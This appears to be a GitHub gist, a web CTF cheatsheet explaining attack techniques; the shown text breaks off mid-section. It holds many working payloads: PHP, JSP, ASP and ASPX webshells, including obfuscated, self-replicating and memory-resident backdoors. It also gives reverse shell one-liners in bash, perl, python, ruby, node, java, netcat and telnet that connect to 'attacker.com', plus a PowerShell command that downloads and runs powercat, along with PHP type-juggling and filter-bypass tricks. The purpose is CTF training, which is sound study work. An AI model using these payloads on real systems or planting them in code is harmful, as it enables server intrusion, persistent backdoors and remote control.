Skip to content

Instantly share code, notes, and snippets.

@aw-junaid
Last active March 6, 2026 19:05
Show Gist options
  • Select an option

  • Save aw-junaid/f035169ae1f3889d7b656167123f125c to your computer and use it in GitHub Desktop.

Select an option

Save aw-junaid/f035169ae1f3889d7b656167123f125c to your computer and use it in GitHub Desktop.

Web CTF Cheatsheet - Comprehensive Explanation

This document provides a detailed explanation of all web security concepts, techniques, and commands commonly used in Capture The Flag (CTF) competitions. Each section breaks down the underlying principles, why certain attacks work, and how to apply them in real scenarios.


Table of Contents

  1. Webshells

  2. Reverse Shells

  3. PHP Tags and Syntax

  4. PHP Weak Type Comparison

  5. PHP Advanced Features and Bypasses

  6. Command Injection

  7. SQL Injection

  8. Local File Inclusion (LFI)

  9. File Upload Vulnerabilities

  10. Deserialization Attacks

  11. Server-Side Template Injection (SSTI)

  12. Server-Side Request Forgery (SSRF)

  13. XML External Entity (XXE) Attacks

  14. Prototype Pollution

  15. Frontend Attacks (XSS, CSP, DOM Clobbering)

  16. Cryptography in Web CTF

  17. Miscellaneous Techniques

  18. Tools and Resources

  19. HTTP Method Tricks

  20. DNS Attacks

  21. IIS Short File Name Enumeration

  22. Node.js Unicode Path Bypass

  23. CRLF Injection with Unicode

  24. MySQL utf8 vs utf8mb4

  25. Proxy Request Smuggling

  26. Nginx Internal Directive Bypass

  27. Nginx Alias Traversal

  28. Nginx add_header Behavior

  29. Nginx $uri CRLF Injection

  30. JavaScript Case Folding Quirks

  31. JavaScript String Replace Specials

  32. JavaScript Proxy Bypass

  33. Node.js VM Escape

  34. Node.js vm2 Escapes

  35. Apache Tomcat Session Manipulation

  36. Polyglot Images + .htaccess

  37. Mass Assignment / AutoBinding

  38. EL / SpEL Injection

  39. GraphQL Attacks

  40. HTTP/2 Push

  41. Symlink in Zip

  42. curl Tricks

  43. tcpdump Cheatsheet

  44. Tools & Online Resources


Webshells

What is a Webshell?

A webshell is a script uploaded or injected into a web server that allows remote administration. In CTF contexts, webshells are used to execute system commands, read files, or further compromise the server.

PHP Webshells - Detailed Explanation

Basic Command Execution Webshells

<?php system($_GET["cmd"]); ?>

How it works: The system() function in PHP executes an external command and displays the output. $_GET["cmd"] retrieves the value of the cmd parameter from the URL query string. When you access http://target.com/shell.php?cmd=ls, the server executes ls and returns the directory listing.

Why this works: PHP is a server-side language - code inside <?php ?> tags executes on the server before the response is sent to the browser. The system() function has direct access to the server's operating system.

<?php system($_GET[1]); ?>

Explanation: This uses an integer array key 1 instead of a named parameter. Access with ?1=ls. This sometimes bypasses simple WAF rules that look for common parameter names like "cmd".

<?php system("`$_GET[1]`"); ?>

How it works: The backticks ` in PHP execute the content as a shell command. So "$_GET[1]" becomes something like `ls` which executes ls. The outer system() then captures this output - it's redundant but can bypass certain filters.

<?= system($_GET[cmd]); ?>

Explanation: <?= is a shorthand for <?php echo. This outputs the result of system(). Available by default in PHP 5.4.0+ regardless of short_open_tag setting.

<?=`$_GET[1]`; ?>

How it works: Backticks alone execute commands. This is the shortest possible webshell - just backticks around the GET parameter. No echo or system needed because backticks return the command output directly.

<?php eval($_POST[cmd]);?>

Explanation: eval() executes any string as PHP code. This is more powerful than system() because it can run arbitrary PHP, not just system commands. However, it uses POST data which is less visible in logs than GET parameters.

<?php echo passthru($_GET['cmd']); ?>

How it works: passthru() is similar to system() but returns raw binary output - useful for commands that produce binary data like image files.

<?php echo shell_exec($_GET['cmd']); ?>

Explanation: shell_exec() returns command output as a string. It's functionally similar to backticks.

Obfuscated Webshells

<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>

How it works: str_rot13() applies ROT13 encoding (shifts letters by 13 positions). The string 'riny($_CBFG[cntr]);' when ROT13 decoded becomes 'eval($_POST[page]);'. This bypasses simple signature-based detection that looks for the string "eval" in the source code.

<script language="php">system("id"); </script>

Explanation: PHP used to support <script language="php"> tags as an alternative to <?php ?>. This was removed in PHP 7.0.0. In older systems, this can bypass filters that only look for PHP tags.

Dynamic Function Call Webshells

<?php $_GET['a']($_GET['b']); ?>

How it works: In PHP, if you have a string variable containing a function name and append parentheses, PHP calls that function. Here, $_GET['a'] might be "system" and $_GET['b'] might be "ls", resulting in system("ls"). This is known as a variable function.

Why it's dangerous: This allows attackers to call any function, not just system commands. For example, ?a=file_get_contents&b=/etc/passwd would read files.

<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>

How it works:

  • \x65 is hex for 'e', so "ass\x65rt" becomes "assert"
  • array_map() applies a function to each element of an array
  • (array)$_REQUEST['cmd'] casts the input to an array
  • assert() in PHP evaluates a string as PHP code

This bypasses filters looking for "assert" by encoding the 'e' in hex.

<?php @extract($_REQUEST);@die($f($c));?>

How it works:

  • extract($_REQUEST) imports all GET/POST variables as PHP variables
  • If the request contains f=system and c=id, this creates $f="system" and $c="id"
  • $f($c) becomes system("id")
  • die() executes the function and terminates script execution
  • The @ suppresses error messages

File Upload-Based Webshell

<?php @include($_FILES['u']['tmp_name']);  

How it works:

  • $_FILES['u']['tmp_name'] contains the temporary file path of an uploaded file
  • include() reads and executes that file as PHP
  • The attacker uploads a file containing PHP code, then triggers this script to include it

Attack flow:

  1. Attacker uploads a file with PHP code (e.g., via multipart/form-data)
  2. Server saves it temporarily (e.g., /tmp/phpABC123)
  3. Attacker accesses the webshell which includes this temp file
  4. The uploaded PHP code executes

Bitwise NOT Obfuscation

<?php $x=~¾¬¬º­«;$x($_GET['a']); ?>

How it works:

  • The string ¾¬¬º­« when bitwise NOT (~) is applied becomes "assert"
  • Bitwise NOT flips all bits: 0 becomes 1, 1 becomes 0
  • The characters are carefully chosen so that applying NOT yields the ASCII values for "assert"
  • $x becomes the string "assert", then $x($_GET['a']) calls assert() on the input

Why this works: Security tools scanning for "assert" won't find it in the source because it's encoded.

Self-Replicating Webshell

<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");

How it works:

  • fopen("gggg.php","w") opens a new file for writing
  • fwrite() writes the second argument into that file
  • The written content is a PHP webshell
  • When executed, this script creates another webshell file named gggg.php

This is used to persist access - even if the original file is deleted, the newly created one remains.

404 Error Page Backdoor

<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();  // Or your malicious code
ob_end_clean();
?>

How it works:

  • header('HTTP/1.1 404') sends a 404 Not Found status
  • ob_start() starts output buffering - captures all output
  • phpinfo() (or malicious code) executes but output is captured in buffer
  • ob_end_clean() discards the buffer, so no output is sent
  • The client sees a 404 page, but the code executed on the server

Why this is stealthy: Logs show 404 errors (common and often ignored), and no output reveals the compromise.

No-Output Backdoor

<?php 
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>

How it works:

  • ob_start('assert') sets assert as the output callback function
  • Any output is passed through assert() before being sent
  • echo $_REQUEST['pass'] outputs the user input
  • assert() evaluates this input as PHP code
  • The result is then sent to the browser

Usage: ?pass=phpinfo() - this gets echoed, passed to assert(), and executed.

Memory-Resident Webshell

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    $file = 'shell.php';
    $code = '<?php eval($_POST[a]);?>';
    while(md5(file_get_contents($file)) !== md5($code)) {
        if(!file_exists($file)) {
            file_put_contents($file, $code);
        }
        usleep(50);
    }
?>

How it works:

  • ignore_user_abort(true) - script continues running even if client disconnects
  • set_time_limit(0) - no execution time limit
  • Infinite loop checks if shell.php exists and has the correct content
  • If file is missing or modified, it's recreated with the webshell code
  • usleep(50) prevents CPU exhaustion

Solution: Restart the server to terminate the process and remove the file.

JSP Webshells

Basic JSP Execution

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

How it works:

  • <% %> is JSP scriptlet tag - contains Java code
  • Runtime.getRuntime().exec() executes a system command in Java
  • request.getParameter("i") gets the "i" parameter from HTTP request
  • The command executes but no output is returned to the browser

JSP with Output

<%
if("kaibro".equals(request.getParameter("pwd"))) {
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
}
%>

How it works:

  • Password check prevents unauthorized access
  • Command output is captured via getInputStream()
  • Output is read in 2048-byte chunks and displayed in <pre> tags for formatting
  • This returns command output to the browser

Unicode Encoded JSP

<%\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006D\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u003B%>

How it works:

  • Each \uXXXX is a Unicode escape sequence
  • When decoded, it becomes: Runtime.getRuntime().exec(request.getParameter("i"));
  • This bypasses filters looking for "Runtime", "exec", etc. in plain text

JSPX (XML-based) Webshell

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>

How it works:

  • JSPX is an XML syntax for JSP
  • <jsp:scriptlet> contains Java code that executes on the server
  • This format can bypass filters that only check .jsp files

EL (Expression Language) Webshell

${Runtime.getRuntime().exec("touch /tmp/pwned")}

How it works:

  • ${} is Expression Language syntax in JSP
  • It evaluates Java expressions directly
  • This executes without needing scriptlet tags
  • Some WAFs might not check EL expressions

ASP Webshells

<%eval request("kaibro")%>

How it works:

  • <% %> is ASP scriptlet tag
  • eval() in VBScript executes a string as code
  • request("kaibro") gets the "kaibro" parameter
  • This is the classic ASP one-liner webshell
<%execute request("kaibro")%>

Explanation: execute() is similar to eval() in VBScript - executes the string as code.

<%ExecuteGlobal request("kaibro")%>

How it works: ExecuteGlobal executes code in the global scope, potentially affecting the entire application.

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

How it works:

  • CreateObject("WScript.Shell") creates a Windows Shell object
  • .Exec() executes a command
  • .StdOut.Readall() reads all output
  • response.write sends output to browser

ASPX Webshells

<%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>

How it works:

  • <%@ Page Language="Jscript"%> sets the page language to JScript (Microsoft's JavaScript)
  • eval() executes the input as JScript code
  • "unsafe" parameter allows eval in JScript
<%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>

How it works:

  • Checks if any files were uploaded
  • Request.Files[0].SaveAs() saves the first uploaded file
  • Server.MapPath(Request["f"]) determines where to save based on the "f" parameter
  • This allows uploading any file to any writable location

Reverse Shells

What is a Reverse Shell?

A reverse shell is a connection initiated from the target server back to the attacker's machine. This bypasses firewalls that block inbound connections but allow outbound traffic.

Setting Up the Listener

ncat -vl 5566
# or
nc -lvnp 5566

Explanation of flags:

  • -v : verbose mode (shows connection details)
  • -l : listen mode (wait for connections)
  • -n : no DNS resolution (faster, uses IPs only)
  • -p : specify port number

Why this works: The attacker's machine listens on port 5566. When the target connects, the attacker gets a shell on the target.

Perl Reverse Shell

perl -e 'use Socket;$i="attacker.com";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Line-by-line explanation:

  • use Socket; - imports Perl's socket library
  • $i="attacker.com";$p=5566; - sets attacker IP and port
  • socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) - creates a TCP socket
  • connect(S,sockaddr_in($p,inet_aton($i))) - attempts to connect to attacker
  • open(STDIN,">&S") - redirects stdin to the socket
  • open(STDOUT,">&S") - redirects stdout to the socket
  • open(STDERR,">&S") - redirects stderr to the socket
  • exec("/bin/sh -i") - starts an interactive shell, with all I/O going through the socket

Bash Reverse Shell

bash -i >& /dev/tcp/attacker.com/5566 0>&1

How it works:

  • bash -i - starts an interactive bash shell
  • >& /dev/tcp/attacker.com/5566 - redirects both stdout and stderr to the TCP connection
  • /dev/tcp/ is a special bash feature (not a real file) that creates TCP connections
  • 0>&1 - redirects stdin to stdout (which is going to the socket)

Alternative:

bash -c 'bash -i >& /dev/tcp/attacker.com/5566 0>&1'

This runs the same command but through bash -c which can be useful in restricted environments.

0<&196;exec 196<>/dev/tcp/attacker.com/5566; sh <&196 >&196 2>&196

How it works:

  • 0<&196 - duplicates file descriptor 196 to stdin
  • exec 196<>/dev/tcp/attacker.com/5566 - opens a TCP connection on fd 196
  • sh <&196 >&196 2>&196 - runs shell with all I/O through fd 196

PHP Reverse Shell

php -r '$sock=fsockopen("attacker.com",5566);exec("/bin/sh -i <&3 >&3 2>&3");'

How it works:

  • fsockopen() opens a socket connection to attacker
  • On success, returns a file pointer (defaults to file descriptor 3)
  • exec("/bin/sh -i <&3 >&3 2>&3") starts a shell with I/O redirected to fd 3

Netcat Reverse Shell

nc -e /bin/sh attacker.com 5566

How it works: The -e flag tells netcat to execute a program and connect its stdin/stdout to the socket. This is the simplest reverse shell, but many netcat versions lack the -e flag for security reasons.

Telnet Reverse Shell

mknod backpipe p && telnet attacker.com 5566 0<backpipe | /bin/bash 1>backpipe

How it works:

  • mknod backpipe p - creates a named pipe (FIFO)
  • telnet attacker.com 5566 0<backpipe - telnet connects, reading from the pipe
  • /bin/bash 1>backpipe - bash sends output to the pipe
  • The pipe connects telnet's input to bash's output, creating a two-way communication channel

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Line-by-line:

  • import socket,subprocess,os - imports needed modules
  • s=socket.socket() - creates a socket object
  • s.connect(("attacker.com",5566)) - connects to attacker
  • os.dup2(s.fileno(),0) - duplicates socket fd to stdin (fd 0)
  • os.dup2(s.fileno(),1) - duplicates to stdout
  • os.dup2(s.fileno(),2) - duplicates to stderr
  • subprocess.call(["/bin/sh","-i"]) - starts interactive shell

Ruby Reverse Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

How it works:

  • -rsocket - requires the socket library
  • exit if fork - forks a child process; parent exits (daemonizes)
  • TCPSocket.new() - creates TCP connection
  • while(cmd=c.gets) - reads commands from socket
  • IO.popen(cmd,"r") - executes command, captures output
  • c.print io.read - sends output back through socket

Node.js Reverse Shell

var net = require("net"), sh = require("child_process").exec("/bin/bash"); 
var client = new net.Socket(); 
client.connect(5566, "attacker.com", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});

How it works:

  • net module creates TCP connections
  • child_process.exec() starts a bash process
  • client.pipe(sh.stdin) - pipes socket input to bash's stdin
  • sh.stdout.pipe(client) - pipes bash's stdout to socket
  • sh.stderr.pipe(client) - pipes bash's stderr to socket

Java Reverse Shell

Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/attacker.com/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();

How it works:

  • Uses bash's built-in TCP capabilities
  • exec 5<>/dev/tcp/attacker.com/5278 - opens TCP connection on fd 5
  • cat <&5 - reads commands from the socket
  • while read line; do $line 2>&5 >&5; done - executes each command, sending output back

PowerShell Reverse Shell

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c attacker.com -p 5566 -e cmd

How it works:

  • IEX (Invoke-Expression) executes a downloaded script
  • Downloads powercat.ps1 (PowerShell version of netcat)
  • powercat -c attacker.com -p 5566 -e cmd - connects to attacker and executes cmd.exe

PHP Tags and Syntax

Understanding PHP Tags

PHP code must be enclosed in special tags to be recognized by the PHP parser. Different tag types exist for various compatibility scenarios.

Standard PHP Tags

<?php
// PHP code here
?>

Explanation: This is the standard and most reliable PHP tag. It always works regardless of configuration. The php keyword tells the parser explicitly that this is PHP code.

Short Open Tags

<?
// PHP code here
?>

How it works: This is a shorter version of the PHP tag. When short_open_tag is enabled in php.ini, <? is equivalent to <?php.

When it works:

  • In older PHP installations, this was often enabled by default
  • Many shared hosting environments disable it for security
  • Some PHP frameworks (like Laravel) rely on <?php exclusively

Configuration option:

; php.ini
short_open_tag = On  ; Enables <? and <?= tags

Short Echo Tag

<?= "Hello World" ?>

How it works: This is shorthand for <?php echo "Hello World" ?>. It outputs the expression directly.

Availability:

  • Since PHP 5.4.0, <?= is always available regardless of short_open_tag
  • In earlier versions, it required short_open_tag=On

Common usage in templates:

<title><?= $page_title ?></title>

ASP-Style Tags

<%
// ASP-style PHP code
%>

<%= "Output" %>

How it works: PHP used to support ASP-style tags for compatibility with Microsoft technologies. The <% tag is equivalent to <?php, and <%= is equivalent to <?=.

Removal: These tags were removed in PHP 7.0.0. They only work in older versions with asp_tags = On in php.ini.

Script Tag

<script language="php">
    echo "PHP code here";
</script>

How it works: This HTML-style tag was another way to embed PHP code. The language="php" attribute tells the parser to treat the content as PHP.

Removal: Also removed in PHP 7.0.0. In modern PHP, this will output as plain text.

Why Tag Variations Matter in CTF

Bypassing Filters: If a WAF (Web Application Firewall) looks for <?php to block webshells, using <? or <script> might evade detection if those tags are still supported.

Configuration Exploitation: Knowing which tags are enabled tells you about the PHP version and configuration, which helps in choosing appropriate exploits.

Example CTF Scenario:

// Challenge filters out <?php and <? tags
$content = file_get_contents($_FILES['file']['tmp_name']);
if(preg_match('/<\?php|<\?/i', $content)) {
    die('No PHP tags allowed!');
}
eval($content);  // Still executes PHP code!

Bypass: Using <script language="php"> or ASP-style tags (if supported) would bypass the regex filter.


PHP Weak Type Comparison

The Problem with Loose Comparison

PHP uses two comparison operators:

  • == (loose comparison) - performs type juggling
  • === (strict comparison) - checks both value and type

Type juggling means PHP automatically converts types when comparing different data types. This leads to unexpected and often exploitable behavior.

String vs String Quirks

var_dump('0xABCdef' == '     0xABCdef');

What happens: This compares a hex string with the same hex string preceded by spaces.

Version-dependent behavior:

  • In HHVM 3.18.5 - 3.22.0 and PHP 7.0.0 - 7.2.0rc4: Returns true
  • In other versions: Returns false

Why this matters: This inconsistency can be exploited in CTF challenges where the PHP version is known. If the challenge uses a vulnerable version, you can predict comparison outcomes.

Scientific Notation Comparison

var_dump('0010e2' == '1e3');

How it works: Both strings are treated as numbers in scientific notation:

  • '0010e2' = 10 × 10² = 1000
  • '1e3' = 1 × 10³ = 1000

PHP converts both to floats (1000.0) and finds them equal.

Exploitation: If a script does if($user_input == $secret_number), and you know the secret number is 1000, you could use 0010e2 or 1e3 as valid inputs.

Array Comparison Quirks

var_dump(strcmp([], []));

What happens: strcmp() expects strings, but receives arrays. In PHP, this triggers a warning and returns NULL. Since NULL == 0 is true in loose comparison, this can bypass checks.

var_dump(sha1([]));

What happens: sha1() with an array parameter returns NULL. This can be used to create "magic" conditions where a hash check passes unexpectedly.

String vs Number Comparison

var_dump('123' == 123);  // true

How it works: When comparing a string with a number, PHP converts the string to a number if it starts with numeric characters. '123' becomes integer 123.

var_dump('abc' == 0);  // true

How it works: The string 'abc' has no leading numbers, so it converts to 0. Therefore, 'abc' == 0 is true.

var_dump('123a' == 123);  // true

How it works: PHP takes the leading numbers from the string until it hits a non-numeric character. '123a' becomes 123, ignoring the 'a'.

Hexadecimal String Behavior

var_dump('0x01' == 1);

Version-dependent behavior:

  • PHP 7.0.0 and later: false (hex strings are no longer treated as numbers)
  • Earlier versions: true (hex strings were converted to numbers)

Why this changed: This was a security fix. In older PHP, '0x01' was treated as hex 1, but '0x01' could also be part of SQL injection attempts. The change prevents unexpected type juggling.

Falsy Values

var_dump('' == 0 == false == NULL);

How it works: All these values are considered "falsy" in PHP:

  • Empty string '' converts to 0 in numeric context
  • 0 is numerically false
  • false is boolean false
  • NULL is considered false in comparisons

In loose comparison, all are equal.

Magic Hashes

var_dump(md5('240610708'));

Output: 0e462097431906509019562988736854

Why this is special: The hash starts with 0e followed only by digits. In PHP, when comparing strings to numbers, strings starting with "0e" are treated as numbers in scientific notation. Any number in the form 0e followed by digits equals 0 (because 0 × 10^anything = 0).

var_dump(md5('240610708') == 0);  // true

Exploitation: If a script does if(md5($input) == $stored_hash) and $stored_hash is 0, any magic hash that equals 0 will pass the check.

Common Magic Hashes

Hash Type Magic String Hash Value
MD5 240610708 0e462097431906509019562988736854
MD5 QNKCDZO 0e830400451993494058024219903391
SHA1 10932435112 0e07766915004133176347055865026311692244

String Concatenation vs Addition

$a = "123"; 
$b = "456";
var_dump($a + $b);  // int(579)

How it works: The + operator forces numeric context, so both strings are converted to integers and added.

var_dump($a . $b);  // string(6) "123456"

How it works: The . operator is string concatenation, so the strings are joined.

Boolean Casting Quirks

$a = 0; 
$b = 'x';
var_dump($a == $b);  // true

How it works: 'x' converts to 0 in numeric context (no leading numbers), so 0 == 0 is true.

var_dump($b == true);  // true

How it works: In boolean context, non-empty strings are true. So 'x' is true.

This creates a paradox: 0 == 'x' is true, and 'x' == true is true, but 0 == true is false!

Increment Operations on Strings

$a = 'a';
var_dump(++$a);  // string(1) "b"

How it works: PHP has a special string increment feature. Incrementing a string follows Perl's convention:

  • 'a''b'
  • 'z''aa'
  • '9''10'
  • '9z''10a'
var_dump($a+1);  // int(1)

How it works: In numeric context, the string 'a' becomes 0, so 0+1 = 1.

Practical CTF Applications

Challenge Example: Password verification

if($_POST['password'] == $stored_password) {
    // Grant access
}

If $stored_password is a number (e.g., from database), an attacker could use:

  • 123abc (if stored password is 123)
  • 0e123456 (if stored password is 0)
  • Any string that converts to the same number

Challenge Example: Hash comparison

if(md5($_GET['token']) == '0e123456789012345678901234567890') {
    echo "Valid token";
}

An attacker can use any string that produces an MD5 hash starting with "0e" followed only by digits. The string 240610708 works because its MD5 hash 0e462097431906509019562988736854 equals 0 in loose comparison.


PHP Advanced Features and Bypasses

Integer Overflow

var_dump(intval('1000000000000'));

On 32-bit systems: Output: 2147483647

Explanation: On 32-bit systems, integers are stored in 32 bits, with a maximum value of 2,147,483,647 (2³¹-1). When a number exceeds this, PHP caps it at the maximum.

var_dump(intval('100000000000000000000'));

On 64-bit systems: Output: 9223372036854775807

Explanation: On 64-bit systems, the maximum integer is 9,223,372,036,854,775,807 (2⁶³-1).

Security implications: If an application uses intval() for security checks (e.g., checking if a value is within a certain range), an attacker might provide a value that overflows and bypasses the check.

Floating Point Precision Issues

php -r "var_dump(1.000000000000001 == 1);"  // false
php -r "var_dump(1.0000000000000001 == 1);" // true

Explanation: Floating point numbers have limited precision (about 15-16 decimal digits). The first number differs in the 15th decimal place, which PHP can detect. The second differs in the 16th place, which is beyond precision limits, so PHP considers them equal.

$a = 0.1 * 0.1; 
var_dump($a == 0.01);  // false

Why this happens: Binary floating point can't represent 0.1 exactly. 0.1 * 0.1 actually equals 0.010000000000000002, not 0.01.

CTF exploitation: If an application uses floating point for financial calculations or comparisons, these precision errors can be exploited.

ereg() NULL Byte Truncation

var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));

Output: 1 (true)

How it works:

  • ereg() uses POSIX regex, which treats NULL bytes (\x00) as string terminators
  • The regex ^[a-zA-Z0-9]+$ only sees 1234 before the NULL byte
  • 1234 matches the pattern, so the check passes
  • The rest of the string is ignored

Security impact: This could bypass input validation. For example, if a script checks for alphanumeric usernames, admin\x00--DROP TABLE users; might pass validation but cause SQL injection later.

Note: ereg() and eregi() were removed in PHP 7.0.0.

intval() Behavior

var_dump(intval('5278.8787'));  // 5278

Explanation: intval() truncates decimals; it doesn't round. This can lead to off-by-one errors in calculations.

var_dump(intval(012));  // 10

Explanation: When the argument is an integer literal starting with 0, PHP interprets it as octal. 012 (octal) = 10 (decimal).

var_dump(intval("012"));  // 12

Explanation: When the argument is a string starting with 0, it's treated as decimal, not octal. "012" as decimal = 12.

Security implications: If an application uses intval() for access control (e.g., if(intval($user_id) == 1)), and $user_id is from user input, an attacker might use 012 to get user ID 1 if octal conversion is expected, or 012 to get 12 if decimal is expected.

extract() Variable Overwriting

extract($_GET);  // Dangerous!

How it works: extract() imports variables from an array into the current symbol table. If $_GET contains _SESSION[name]=admin, it creates a variable $_SESSION (overwriting the superglobal) with key name and value admin.

Attack scenario:

// Original code
session_start();
extract($_GET);
echo $_SESSION['name'];  // If $_GET had _SESSION[name]=admin, this outputs 'admin'

Why this is dangerous: It allows attackers to overwrite any variable, including superglobals like $_SESSION, $_SERVER, etc.

trim() Character Removal

// Default characters removed:
// " " (0x20), "\t" (0x09), "\n" (0x0A), 
// "\x0B" (0x0B), "\r" (0x0D), "\0" (0x00)

Important note: Form feed \f (0x0C) is NOT removed by default. This differs from is_numeric(), which allows \f at the start.

Bypass example:

$input = "\f123";
if(trim($input) !== "123") {
    die("Invalid input");
}
// This fails because trim doesn't remove \f

if(is_numeric($input)) {
    // This passes because is_numeric accepts leading whitespace including \f
    $number = (int)$input;  // $number = 123
}

is_numeric() Behavior

var_dump(is_numeric(" \t\r\n 123"));  // true

Explanation: is_numeric() allows whitespace at the beginning of the string.

var_dump(is_numeric('87 '));  // false

Explanation: Trailing whitespace is not allowed. This inconsistency can be exploited.

var_dump(is_numeric('0xdeadbeef'));

Version-dependent:

  • PHP >= 7.0.0: false (hex strings no longer considered numeric)
  • PHP < 7.0.0: true (hex strings were numeric)

in_array() Loose Comparison

var_dump(in_array('5 or 1=1', array(1, 2, 3, 4, 5)));  // true

How it works: in_array() uses loose comparison by default. The string '5 or 1=1' when compared to integer 5 becomes 5 == 5 (true). The rest of the string is ignored in numeric conversion.

var_dump(in_array('kaibro', array(0, 1, 2)));  // true

How it works: 'kaibro' converts to 0 in numeric context, so in_array() finds it matches the 0 element.

var_dump(in_array(array(), array('kai'=>false)));  // true

How it works: An empty array compares equal to false in loose comparison, so it matches the false value.

array_search() Loose Comparison

$arr = array(1,2,0);
var_dump(array_search('kai', $arr));  // int(2)

How it works: array_search() returns the key of the first match. 'kai' equals 0 in loose comparison, so it matches the element with value 0 at index 2.

parse_str() URL Parsing

parse_str('gg[kaibro]=5566');
// Result: array("kaibro" => "5566")

Explanation: parse_str() parses query strings into variables. It automatically handles array syntax in the query string.

parse_str("na.me=kaibro&pass wd=ggininder", $test);
var_dump($test);
// array(2) { 
//   ["na_me"]=> string(6) "kaibro" 
//   ["pass_wd"]=> string(9) "ggininder" 
// }

Important behavior: Spaces and dots in variable names are converted to underscores. This can lead to variable overwriting if not understood.

parse_url() Issues

parse_url('/a.php?id=1');
// array(2) {
//   ["host"]=> string(5) "a.php"
//   ["query"]=> string(4) "id=1"
// }

Why this happens: Without a protocol (http://), parse_url() misinterprets the path as a hostname. This can lead to security issues in URL validation.

parse_url('//a/b');
// host: "a"

Explanation: // is interpreted as a protocol-relative URL, so a becomes the host.

parse_url('..//a/b/c:80');
// host: ".."
// port: 80
// path: "//a/b/c:80"

Weird behavior: The .. is treated as a hostname, and the port is extracted from the path.

preg_replace() with /e Modifier

$a = 'phpkaibro';
echo preg_replace('/(.*)kaibro/e', '\\1info()', $a);

How it works: The /e modifier causes the replacement string to be evaluated as PHP code. \\1 is the captured group (php), so the replacement becomes phpinfo() which executes.

Security nightmare: This was one of the most dangerous PHP features, allowing code execution through regex replacement. Removed in PHP 7.0.0.

sprintf() / vprintf() Format String Quirks

// Example: %' and 1=1#
// If magic_quotes_gpc adds \ before ', we get: %\' and 1=1#
// sprintf() sees %\ as unknown format, ignores it, leaving: ' and 1=1#

How this bypasses SQL injection filters:

  1. Attacker inputs: %' and 1=1#
  2. magic_quotes_gpc adds backslash: %\' and 1=1#
  3. sprintf() sees %\' as an invalid format specifier and ignores it
  4. The backslash is removed, leaving: ' and 1=1#
  5. This becomes a valid SQL injection

file_put_contents() Array Trick

$test = $_GET['txt'];
if(preg_match('[<>?]', $test)) die('bye');
file_put_contents('output', $test);

Bypass: ?txt[]=<?php phpinfo(); ?>

How it works:

  • When $test is an array, file_put_contents() tries to write it as a string
  • An array converted to string becomes "Array"
  • However, PHP internally handles arrays differently for file_put_contents()
  • The actual content written is the concatenated array elements: <?php phpinfo(); ?>

Path Normalization Bypasses

Windows-Specific Behaviors

file_put_contents("a.php/.", "<?php phpinfo() ?>");

On Windows: Creates/overwrites a.php On Linux: Fails (can't write to a directory path)

Why: Windows treats trailing slash differently and normalizes paths differently.

file_get_contents("a.php/.");

On Windows: Reads a.php On Linux: Fails

Character Substitutions on Windows

" (double quote) => . (dot)
Example: a"php becomes a.php

> (greater than) => ? (question mark)
Example: a.p>p becomes a.p?p

< (less than) => * (asterisk)
Example: a.< becomes a.*

Why this matters: If a Windows server filters file extensions, these character substitutions can bypass the filter while still resulting in a valid PHP file.

PCRE Backtracking Limit Bypass

preg_match('/(.*)@gmail.com/', $email);

How PCRE matching works:

  • PCRE uses NFA (Nondeterministic Finite Automaton)
  • When matching fails, it backtracks to try alternative paths
  • Long strings can cause excessive backtracking

Protection:

pcre.backtrack_limit = 1000000  // Default

When limit exceeded: preg_match() returns false instead of 0 or 1

Exploitation:

  • Send input that causes backtracking > limit
  • preg_match() returns false
  • This can bypass regex-based filters if the code doesn't handle false correctly

Example vulnerable code:

if(preg_match('/^[a-z]+$/', $input)) {
    // Input is alphanumeric
    include($input . '.php');
}

If $input causes backtracking limit exceed, preg_match() returns false, which is falsy, so the check fails and include() runs with potentially dangerous input.

open_basedir Bypass

open_basedir restricts file access to specified directories. Here are ways to bypass it.

Method 1: glob:// Directory Listing

$file_list = array();
$it = new DirectoryIterator("glob:///*");
